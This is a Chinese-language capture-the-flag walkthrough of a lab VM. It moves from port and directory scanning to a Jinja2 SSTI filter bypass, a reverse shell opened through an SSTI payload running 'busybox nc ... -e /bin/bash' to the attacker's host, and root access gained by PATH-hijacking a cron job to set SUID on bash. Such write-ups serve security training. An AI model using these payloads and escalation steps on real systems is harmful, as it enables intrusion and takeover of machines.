一、信息收集

进行网段扫描，发现目标主机：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.171 08:00:27:7e:d4:57       PCS Systemtechnik GmbH
...
```

确定目标IP为 `192.168.205.171`

二、端口扫描

对目标进行全端口扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.171
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 10:35 GMT
Nmap scan report for 192.168.205.171
Host is up (0.00063s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 08:00:27:7E:D4:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds
```

发现开放端口：

- 22/tcp：SSH服务
- 80/tcp：HTTP服务
- 5000/tcp：HTTP服务（通常为开发环境）

三、Web服务探测

3.1 80端口分析

访问80端口得到简单的index页面：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.171
index
```

使用dirsearch进行目录扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u 192.168.205.171
[10:36:19] 403 -  280B  - http://192.168.205.171/.ht_wsr.txt
...
[10:36:28] 403 -  280B  - http://192.168.205.171/server-status
[10:36:28] 403 -  280B  - http://192.168.205.171/server-status/
```

80端口无有价值信息，转向5000端口。

3.2 5000端口分析

访问5000端口发现有趣内容：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.171:5000
<!DOCTYPE html>
<html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>

<body>
        <p1>我Marisa又来偷东西了DAZE</p1>
        <br>
        <br>
        <p1>但是Marisa发现,图书馆中的书都被上了魔法没法直接偷书(bushi</p1>
        <br>
        <br>
        <p1>Marisa想了一会,她想到之前有破解过这个魔法并且把破解魔法的使用方法也写到家里的一本书里了</p1>
        <br>
        <br>
        <p1>你能帮魔理沙回一趟家并且找到那本写有破解魔法的书吗</p1>
        <br>
<img src="/static/1.png">

</body>
</html>
```

对5000端口进行目录扫描：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u 192.168.205.171:5000
...
[10:36:56] 400 -  167B  - http://192.168.205.171:5000/console
[10:36:58] 200 -  179B  - http://192.168.205.171:5000/home
[10:36:59] 200 -  194B  - http://192.168.205.171:5000/library
```

发现三个关键路径：`/console`、`/home`、`/library`

四、漏洞发现与利用

4.1 获取破解信息

访问 `/home` 路径获得重要提示：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.171:5000/home
这种魔法叫ssti
破解这种魔法的魔法阵为touhou
<br>
在有施加ssti魔法的地方 启动魔法阵并且在魔法阵中输入魔法咒语就能直接读取书啦DAZE
```

从提示中得知：

- 存在SSTI（Server-Side Template Injection）漏洞
- 参数名为 `touhou`
- 需要在 `/library` 处利用

4.2 SSTI漏洞测试

访问 `/library` 并尝试SSTI payload：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.171:5000/library
<!DOCTYPE html>
<html>
...
        <p1>这次Marisa应该偷不到书了吧</p1>
...
</body>
</html>
```

尝试基础SSTI测试，发现存在WAF：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -g 'http://192.168.205.171:5000/library?touhou={{7*7}}'
<!DOCTYPE html>
...
        <p1>你在干神魔？</p1>
...
</html>
```

双大括号 `{{}}` 被WAF拦截，尝试使用Jinja2模板语法绕过：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 'http://192.168.205.171:5000/library?
touhou=%7B%25%20set%20x%3D7*7%20%25%7D%7B%25%20print%28x%29%20%25%7D'
49
```

成功绕过WAF！使用的payload为：`{% set x=7*7 %}{% print(x) %}`

> **技术要点：** 当SSTI中的 `{{}}` 语法被WAF拦截时，可以尝试使用 `{% %}` 语法绕过。这是Jinja2模板引擎的另一种语法形式。

4.3 获取反向Shell

构造反向Shell payload。首先在本地监听：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
```

利用Python SSTI执行系统命令：

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -g 'http://192.168.205.171:5000/library?
touhou=%7B%25%20set%20x%3D%28%29.__class__.__bases__%5B0%5D.__subclasses__%28%29
%5B104%5D.__init__.__globals__%5B%27sys%27%5D.modules%5B%27os%27%5D.popen%28%27b
usybox%20nc%20192.168.205.128%208888%20-e%20/bin/bash%27%29%20%25%7D'
```

成功获得反向连接：

```
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.171] 43664
id
uid=1000(marisa) gid=1000(marisa) groups=1000(marisa)
```

> **Payload详解：**
>
> - `().__class__.__bases__[0]` - 获取object基类
> - `.__subclasses__()[104]` - 获取subprocess.Popen类（索引可能需要调整）
> - `.__init__.__globals__['sys'].modules['os']` - 通过全局变量获取os模块
> - `.popen()` - 执行系统命令

五、Shell稳定化

使用标准方法稳定Shell：

```
script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178
```

六、权限提升

6.1 系统信息收集

检查当前用户权限：

```
marisa@Crontab:~$ id
uid=1000(marisa) gid=1000(marisa) groups=1000(marisa)
marisa@Crontab:~$ sudo -l
sudo: unable to resolve host Crontab: Name or service not known
[sudo] password for marisa:
sudo: a password is required
```

6.2 寻找提权向量

检查SUID文件和用户文件：

```
marisa@Crontab:~$ find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 44528 Jul 27  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 54096 Jul 27  2018 /usr/bin/chfn
...
```

检查当前用户拥有的文件时发现关键信息：

```
marisa@Crontab:~$ find / -user $(whoami) ! -path '/proc/*' ! -path '/sys/*' ! -
path '/run/*' 2>/dev/null
...
/usr/local/bin/irc_bot.py
...
/home/marisa/.config/systemd/user/steal.service
...
```

6.3 发现定时任务漏洞

检查系统定时任务：

```
marisa@Crontab:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
...
* * * * * root master_spark
```

发现每分钟执行的定时任务 `master_spark`，进一步分析：

```
marisa@Crontab:~$ find / -name 'master_spark' 2>/dev/null
/usr/bin/master_spark
marisa@Crontab:~$ ls -al /usr/bin/master_spark
-rwxr--r-- 1 root root 31 Sep  8 03:48 /usr/bin/master_spark
marisa@Crontab:~$ strings /usr/bin/master_spark
#!/bin/bash
echo daze > /hello
```

检查PATH环境变量和相关目录权限：

```
marisa@Crontab:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
marisa@Crontab:~$ ls -al /usr/local/sbin
total 8
drwxrwxrwx  2 root root 4096 Sep  8 03:39 .
drwxr-xr-x 10 root root 4096 Mar 18 20:26 ..
```

关键发现： `/usr/local/sbin` 目录对所有用户可写，且在PATH中优先级较高！

6.4 PATH劫持攻击

利用PATH劫持创建同名恶意文件：

```
marisa@Crontab:~$ echo 'chmod +s /bin/bash' > /usr/local/sbin/master_spark
marisa@Crontab:~$ chmod +x /usr/local/sbin/master_spark
```

等待定时任务执行：

```
marisa@Crontab:~$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
# 等待一分钟后
marisa@Crontab:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
```

成功！bash已获得SUID权限。

> **技术要点：**
>
> - PATH劫持利用了程序查找的优先级机制
> - 当程序没有使用绝对路径时，会按PATH顺序搜索
> - `/usr/local/sbin` 在 `/usr/bin` 之前，因此优先执行我们的恶意脚本

6.5 获取Root权限

使用SUID bash获取root权限：

```
marisa@Crontab:~$ bash -p
bash-5.0# cat /root/root.txt /home/marisa/user.txt
flag{touhou sai gao}
flag{marisa marisa-master spark}
```

成功获取两个flag！